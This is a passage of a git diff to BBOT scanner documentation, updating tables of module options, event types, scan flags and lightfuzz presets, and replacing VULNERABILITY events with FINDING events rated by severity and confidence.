modules.slack.webhook_url | str | Discord webhook URL | | | modules.splunk.hectoken | str | HEC Token | | @@ -626,8 +651,8 @@ In addition to the stated options for each module, the following universal optio | modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | | modules.subdomains.include_unresolved | bool | Include unresolved subdomains in output | False | | modules.subdomains.output_file | str | Output to file | | -| modules.teams.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.teams.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.teams.event_types | list | Types of events to send | ['FINDING'] | +| modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.teams.webhook_url | str | Teams webhook URL | | | modules.txt.output_file | str | Output to file | | @@ -639,6 +664,7 @@ In addition to the stated options for each module, the following universal optio | modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | | modules.websocket.token | str | Authorization Bearer token | | | modules.websocket.url | str | Web URL | | +| modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | | modules.excavate.custom_yara_rules | str | Include custom Yara rules | | | modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | | modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index 7d168e4456..2ff4aa695a 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -106,15 +106,15 @@ Below is a full list of event types along with which modules produce/consume the | Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | |---------------------|-----------------------|-----------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 18 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, http, json, mysql, neo4j, postgres, python, slack, splunk, sqlite, stdout, teams, txt, websocket | | +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | | ASN | 0 | 1 | | asn | | AZURE_TENANT | 1 | 0 | speculate | | | CODE_REPOSITORY | 7 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | | DNS_NAME | 60 | 43 | anubisdb, asset_inventory, azure_realm, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | | DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | | EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | kreuzberg, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 32 | asset_inventory, web_report | ajaxpro, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, newsletters, ntlm, nuclei, paramminer_cookies, paramminer_getparams, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | +| FILESYSTEM | 4 | 9 | jadx, kreuzberg, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 34 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | | GEOLOCATION | 0 | 2 | | ip2location, ipstack | | HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | | HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | @@ -127,33 +127,27 @@ Below is a full list of event types along with which modules produce/consume the | PASSWORD | 0 | 2 | | credshed, dehashed | | PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | | RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | | SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | | STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | -| TECHNOLOGY | 4 | 8 | asset_inventory, gitlab_onprem, web_report, wpscan | badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | | URL | 24 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, generic_ssrf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, vhost, wafw00f, web_report | gowitness, httpx | | URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | | URL_UNVERIFIED | 8 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate | azure_realm, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | | USERNAME | 1 | 2 | speculate | credshed, dehashed | | VHOST | 1 | 1 | web_report | vhost | -| VULNERABILITY | 2 | 15 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, dotnetnuke, generic_ssrf, lightfuzz, medusa, nuclei, shodan_idb, telerik, trufflehog, wpscan | | WAF | 1 | 1 | asset_inventory | wafw00f | | WEBSCREENSHOT | 0 | 1 | | gowitness | | WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | -## Findings Vs. Vulnerabilities +## Findings -BBOT has a sharp distinction between Findings and Vulnerabilities: +`FINDING` events represent discoveries made during a scan. They can range anywhere from "slightly interesting behavior" to confirmed vulnerabilities. -**VULNERABILITY** +Each finding has a **severity** and a **confidence**: -* There's a higher standard for what is allowed to be a vulnerability. They should be considered **confirmed** and **actionable** - no additional confirmation required -* They are always assigned a severity. The possible severities are: LOW, MEDIUM, HIGH, or CRITICAL +* **Severity** indicates impact: `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` +* **Confidence** indicates how certain the finding is: `CONFIRMED`, `HIGH`, `MODERATE`, `LOW`, or `UNKNOWN` -**FINDING** - -* Findings can range anywhere from "slightly interesting behavior" to "likely, but unconfirmed vulnerability" -* Are often false positives - -By making this separation, actionable vulnerabilities can be identified quickly in the midst of a large scan +Together, these let you quickly prioritize results -- e.g. a `CRITICAL` severity with `CONFIRMED` confidence is immediately actionable, while a `MEDIUM` severity with `LOW` confidence may need manual verification. diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 18358ae0ce..7febeef731 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -112,30 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, kreuzberg, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, kreuzberg, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | -| subdomain-enum | 51 | Enumerates subdomains | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | -| code-enum | 18 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog | -| web-basic | 17 | Basic, non-intrusive web scan functionality | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 16 | Enumerates cloud resources | azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-thorough | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 11 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 8 | Discovers affiliated hostnames/domains | affiliates, azure_realm, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| deadly | 6 | Highly aggressive | ffuf, legba, lightfuzz, medusa, nuclei, vhost | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, kreuzberg, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, kreuzberg, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | +| subdomain-enum | 51 | Enumerates subdomains | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | +| code-enum | 18 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog | +| web-basic | 17 | Basic, non-intrusive web scan functionality | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 16 | Enumerates cloud resources | azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | +| web-thorough | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | +| slow | 11 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 8 | Discovers affiliated hostnames/domains | affiliates, azure_realm, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| deadly | 6 | Highly aggressive | ffuf, legba, lightfuzz, medusa, nuclei, vhost | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | httpx, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies diff --git a/docs/scanning/output.md b/docs/scanning/output.md index 6063c0a893..3fa69f131b 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -102,24 +102,23 @@ config: bbot -t evilcorp.com -om discord -c modules.discord.webhook_url=https://discord.com/api/webhooks/1234/deadbeef ``` -By default, only `VULNERABILITY` and `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so: +By default, only `FINDING` events are sent, but this can be customized by setting `event_types` in the config like so: ```yaml title="discord_preset.yml" config: modules: discord: event_types: - - VULNERABILITY - FINDING - STORAGE_BUCKET ``` ...or on the command line: ```bash -bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING","VULNERABILITY"] +bbot -t evilcorp.com -om discord -c modules.discord.event_types=["STORAGE_BUCKET","FINDING"] ``` -You can also filter on the severity of `VULNERABILITY` events by setting `min_severity`: +You can also filter on the severity of `FINDING` events by setting `min_severity`: ```yaml title="discord_preset.yml" diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index af7ca4db37..b56b124b06 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -275,11 +275,11 @@ Modules: [90]("`anubisdb`, `apkpure`, `asn`, `azure_realm`, `azure_tenant`, `bad ## **lightfuzz-heavy** -Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. +Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. ??? note "`lightfuzz-heavy.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-heavy.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. + description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. include: - lightfuzz-medium @@ -295,6 +295,8 @@ Discover web parameters and lightly fuzz them for vulnerabilities, with more int lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi] disable_post: False + try_post_as_get: True + try_get_as_post: True ``` Category: web @@ -303,11 +305,11 @@ Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, ## **lightfuzz-light** -Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. +Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. ??? note "`lightfuzz-light.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-light.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities, with only the most common vulnerabilities and minimal extra modules. Safest to run alongside larger scans. + description: Discover web parameters and lightly fuzz them for common vulnerabilities (path traversal, SQLi, XSS), with minimal extra modules. Safest to run alongside larger scans. modules: - httpx @@ -336,11 +338,11 @@ Modules: [3]("`httpx`, `lightfuzz`, `portfilter`") ## **lightfuzz-medium** -Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. +Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. ??? note "`lightfuzz-medium.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-medium.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz modules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. + description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. include: - lightfuzz-light @@ -354,6 +356,7 @@ Discover web parameters and lightly fuzz them for vulnerabilities. Uses all ligh modules: lightfuzz: enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi] + try_post_as_get: True ``` Category: web @@ -362,11 +365,11 @@ Modules: [6]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `portfilter`, `reflect ## **lightfuzz-superheavy** -Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. ??? note "`lightfuzz-superheavy.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-superheavy.yml" - description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz modules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. + description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. include: - lightfuzz-heavy @@ -388,11 +391,11 @@ Modules: [10]("`badsecrets`, `httpx`, `hunt`, `lightfuzz`, `paramminer_cookies`, ## **lightfuzz-xss** -Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. +Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. ??? note "`lightfuzz-xss.yml`" ```yaml title="~/.bbot/presets/web/lightfuzz-xss.yml" - description: Discover web parameters and lightly fuzz them, limited to just GET-based xss vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz module. + description: Discover web parameters and lightly fuzz them, limited to just GET-based XSS vulnerabilities. Avoids running against confirmed WAFs. This is an example of a custom lightfuzz preset, selectively enabling a single lightfuzz submodule. modules: - httpx @@ -780,33 +783,33 @@ Modules: [32]("`ajaxpro`, `aspnet_bin_exposure`, `azure_realm`, `baddns`, `badse Here is a the same data, but in a table: -| Preset | Category | Description | # Modules | Modules | -|----------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| baddns-intense | | Run all baddns modules and submodules. | 4 | baddns, 